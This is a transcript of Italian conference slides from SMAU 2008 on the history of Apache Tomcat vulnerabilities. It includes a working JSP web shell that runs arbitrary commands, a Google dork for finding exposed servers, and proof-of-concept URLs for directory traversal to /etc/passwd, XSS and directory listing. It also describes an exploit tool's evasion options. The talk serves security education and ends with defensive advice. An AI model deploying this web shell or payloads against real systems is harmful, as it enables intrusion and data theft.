smau 2008: "vulnerabilità in tomcat: l'evoluzione della specie"
DESCRIPTION
Apache Tomcat è probabilmente una delle più note implementazioni delle tecnologie Java Servlet e Java Server Pages. Sebbene l’Apache Software Foundation considera la sicurezza dei suoi prodotti come un requisito di primaria importanza, nel corso degli ultimi anni sono state scoperte numerose vulnerabilità. Queste debolezze permettono attacchi di cross site scripting, directory listing, directory traversal, escalation dei privilegi sino all’esecuzione di codice arbitrario. Analizzando il passato, cercheremo di identificare il futuro di questo application server in termini di sicurezza. http://www.ikkisoft.comTRANSCRIPT
L’evoluzione della specie
…il mondo della sicurezza è una
giungla!
SMAU 2008
Vulnerabilità in Apache Tomcat
Di cosa parliamo oggi...
• Quali sono le principali vulnerabilità scoperte in Apache Tomcat
• Come sfruttare queste debolezze, dal punto di vista dell'aggressore
• Quali vulnerabilità ci dobbiamo aspettare nel futuro prossimo
• Attualmente lavoro come pentester in una grande banca internazionale
• Ricerco vulnerabilità for fun (and profit)• Mi interesso di web application security
ed ethical hacking• Sono membro della comunita’ OWASP
btw: partecipate al capitolo Italiano :)• luca.carettoni[at]ikkisoft[dot]com
Security in depth
Network Security
Operating System Security
Database Security
Web Server Security
Application Security
Physical Security
Apache Tomcat
• Apache Tomcat è un moderno Servlet container sviluppato dall'Apache Software Foundation
• http://tomcat.apache.org/• Pure 100% Java Application Server• Open Source, facile da installare,
abbastanza performante...quindi, praticamente perfetto ? Non proprio
• Implementa diverse versioni delle tecnologie Java Servlet e Java Server Pages (JSP)
3.3.2 (deprecata)2.2/1.14.1.372.3/1.25.5.262.4/2.06.0.182.5/2.1
Apache Tomcat versionServlet/JSP Specification
Powered by Apache Tomcat
• E' stato scaricato più di 10 milioni di volte. Ipotizziamo che solamente l'1% di questi download ha portato all'utilizzo in produzione, il risultato è assolutamente sconvolgente
• Parliamo di più di 100000 installazioni
• Largamente utilizzato da numerose organizzazioni e società: WalMart, O'Reilly On Java, JBOSS ed il portale Italiano VolareGratis.com
• Si stima che circa la metà della global Fortune 500 utilizzi in una qualche installazione Tomcat e derivati
• Date un occhio alla popolarità del sito: http://people.apache.org/~vgritsenko/stats/projects/tomcat.html
Tomcat in the wild...
• Google dork:
12,600 for intitle:"Directory Listing
For /" + inurl:tomcat-docs tomcat
Tactical Exploiting 1/3
• Spesso l'aggressore non deve nemmeno sfruttare vulnerabilità
• Sono gli amministratori che lasciano accessibile una risorsa preziosa
• Default Manager Consolehttp://x.x.x.x:8080/manager/html
• LambdaProbe Console http://x.x.x.x:9099/probe/
• Spesso esposta• Spesso protetta da password non robuste• Per la mia esperienza, troppo spesso !
Tactical Exploiting 2/3
• Oltre ad ottenere informazioni sulla configurazione e sullo stato dei sistemi, un aggressore può alterare le configurazioni e compromettere l'ambiente di fruizione !
• Vediamo, in breve, come:
Tactical Exploiting 3/3
<%@ page import="java.io.*" %><%try { Runtime rt = Runtime.getRuntime(); String cmd = request.getParameter("cmd"); Process ps = rt.exec(cmd); BufferedReader outReader = new BufferedReader(new InputStreamReader( ps.getInputStream())); BufferedReader errReader = new BufferedReader(new InputStreamReader( ps.getErrorStream())); String outLine = null; String errLine = null; out.println("<pre>"); while ((outLine = outReader.readLine()) != null || (errLine = errReader.readLine()) != null) { if (outLine != null) out.println("out: " + outLine); if (errLine != null) out.println("err: " + errLine); } out.println("</pre>"); outReader.close(); errReader.close(); } catch (Exception ex) { out.println("Exception message. Some problem?!?"); ex.printStackTrace(); }%>
Apache Tomcat - Cronologia
4.x
5.0.x
5.5.x
6.x
Fonte: en.wikipedia.org
• La code base iniziale e' stata donata da Sun all' Apache Software Foundation nel 1999
• La prima versione ufficiale è stata la v3.0
La versione attuale è la 6.0.18 (ad oggi, 18/10/08)
4.1.31 4.1.36
5.0.0 5.0.285.0.30
5.5.05.5.1
5.5.45.5.7
5.5.95.5.12
5.5.155.5.16
5.5.17
5.5.205.5.23
5.5.25 5.5.26
6.0.0 6.0.106.0.13
6.0.14
6.0.166.0.18
2002 2003 2004 2005 2006 2007 2008
Vulnerabilità in Tomcat 1/2
• #81 Vulnerabilità segnalate• #44 CVE (vulnerabilità univoche)
• Vulnerabilità per versione:Apache Tomcat JK Connectors: #3 CVEApache Tomcat 4.x: #35 CVEApache Tomcat 5.x: #24 CVEApache Tomcat 6.x: #19 CVE
Source: http://tomcat.apache.org/security.html (11 September 2008)
Vulnerabilità in Tomcat 2/2
CVE-2001-0917 CVE-2002-0493 CVE-2002-0682 CVE-2002-0935 CVE-2002-1148 CVE-2002-1394 CVE-2002-1567 CVE-2002-1895 CVE-2002-2006 CVE-2002-2008 CVE-2002-2009 CVE-2003-0866 CVE-2005-2090 CVE-2005-3164 CVE-2005-3510 CVE-2005-4703 CVE-2005-4836 CVE-2005-4838 CVE-2006-3835
CVE-2006-7195 CVE-2006-7196 CVE-2006-7197 CVE-2007-0450 CVE-2007-0774 CVE-2007-1355 CVE-2007-1358 CVE-2007-1858 CVE-2007-1860 CVE-2007-2449 CVE-2007-2450 CVE-2007-3382 CVE-2007-3383 CVE-2007-3385 CVE-2007-3386 CVE-2007-5333 CVE-2007-5342 CVE-2007-5461 CVE-2007-6286
Source: http://tomcat.apache.org/security.html (11 September 2008)
CVE-2008-0002 CVE-2008-0128 CVE-2008-1232 CVE-2008-1947 CVE-2008-2370 CVE-2008-2938
Vulnerabilità per anno
2001 2002 2003 2005 2006 2007 2008
0
2
4
6
8
10
12
14
16
18
CVEs
Vulnerabilità per severità
LowHighMedium
• Low: Info Disclosure, Denial of Service• Medium: Sensitive Info Disclosure, Cross
Site Scripting, Session Hijacking • High: Directory Traversal, Lettura/Scrittura
File Arbitrari, Esecuzione di Codice Arbitrario
Qualche esempio…
• Directory Traversal Vulnerability • Author: Simon Ryeo• Severity: High • Version Affected: 6.0-6.0.16, 5.5-5.5.26, 4.1.x• Exploit Proof-of-concept:
http://www.example.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
• Note: context.xml oppure server.xml deve permettere allowLinking e URIencoding come “UTF-8”.
UTF-8 Encoding2 bytes, 11bits, 110bbbbb 10bbbbbb%c0%ae = “.”%c0%af = “/”
CVE-2008-2938
• Multiple Cross Site Scripting (XSS)• Author: Unknown (reported to JPCERT)• Severity: Medium• Version Affected: 6.0-6.0.13, 5.0-5.0.30, 5.5-
5.5.24, 4.0-4.0.6, 4.1-4.1.36• Exploit Proof-of-concept:
http://www.example.com/jsp-examples/snp/snoop.jsp;[xss]
• Note: Nessun tipo di validazione. Il classico vettore di attacco <script>alert(123);</script> viene correttamente inoltrato
CVE-2007-2449
• Directory Listing Vulnerability • Author: ScanAlert.s Enterprise Services Team• Severity: Medium• Version Affected: 5.0-5.0.30, 5.5-5.5.12, 4.0-
4.0.6, 4.1-4.1.31• Exploit Proof-of-concept:
http://www.example.com/;index.jsp http://www.example.com/help/;help.do
• Note: Vulnerabile invocando qualsiasi risorsa (estensione) valida, anche se non esistente, preceduta da un punto e virgola
CVE-2006-3835
Tomcat ZOOThe «all-in-one» exploit
• Pentesting tool, specifico per verificare vulnerabilità note di Apache Tomcat
• Sviluppato in PHP (richiede solo –enable-cli)
• Rilasciato GPL v2
• Attualmente copre il 27% dei CVE per Tomcat:
* CVE-2008-2938 * CVE-2006-3835 * CVE-2007-3385* CVE-2008-2370 * CVE-2006-7196 * CVE-2007-3386* CVE-2008-1947 * CVE-2007-2449 * CVE-2007-5333* CVE-2008-1232 * CVE-2007-3382 * CVE-2007-5461
---------------[ Script Options (basic) ]------------------
Usage:php TomcatZOO.php host port proxyhost: target serverport: the web port, usually 8080proxy: use a proxy defined as IP:PORT:USER:PASS (optional)
Example:php TomcatZOO.php www.example.com 8080php TomcatZOO.php www.example.com 80 127.0.0.1:1234::php TomcatZOO.php www.example.com 80 127.0.0.1:8080:ikki:pass
Caratteristiche avanzate: Supporto HTTP (senza l'uso di libcurl) Supporto Proxy Opzione di debug Personalizzazione User-Agent Primitive tecniche di evasione
1: fake HTTP GET/POST parameters
2: random case sensitivity
3: Windows directory separator \ instead of /
4: URL encoding applied to URI, HTTP pars and header
ToDo: Supporto HTTPS (per ora utilizzate l'ottimo
www.stunnel.org. Thx Michal!) Coprire la globalità delle vulnerabilità di Tomcat
analizzabili durante black box testing
Tomcat ZOOThe «all-in-one» exploit
Tomcat ZOOThe «all-in-one» exploit
• Disponibile prossimamente (entro fine anno)
• Lo troverete qui: http://www.ikkisoft.com/tomcatzoo/
• E' un tool per ethical hacking !
E nel futuro...• Ancora problematiche di validazione dell'input,
sebbene il codice si sta stabilizzando• Sicuramente ancora Denial of Service, considerando la
numerosità e la complessità dei componenti• Sicuramente ancora Cross-Site Scripting• (Tendenzialmente) nessun buffer overflow.
I componenti non sviluppati in Java sono limitati
• Come difenderci quindi?• Reattività: mantenersi aggiornati e preparare già ora
un ambiente di test dove provare le future release, prima della messa in produzione. Estote Parati !
• Online patching: Application firewall e simili, pronti per essere configurati ad-hoc appena viene rilasciata una nuova vulnerabilità
Contatti, Domande
• Grazie dell'attenzione! Domande ?!?
Luca Carettoniluca.carettoni[at]ikkisoft[dot]comhttp://www.ikkisoft.com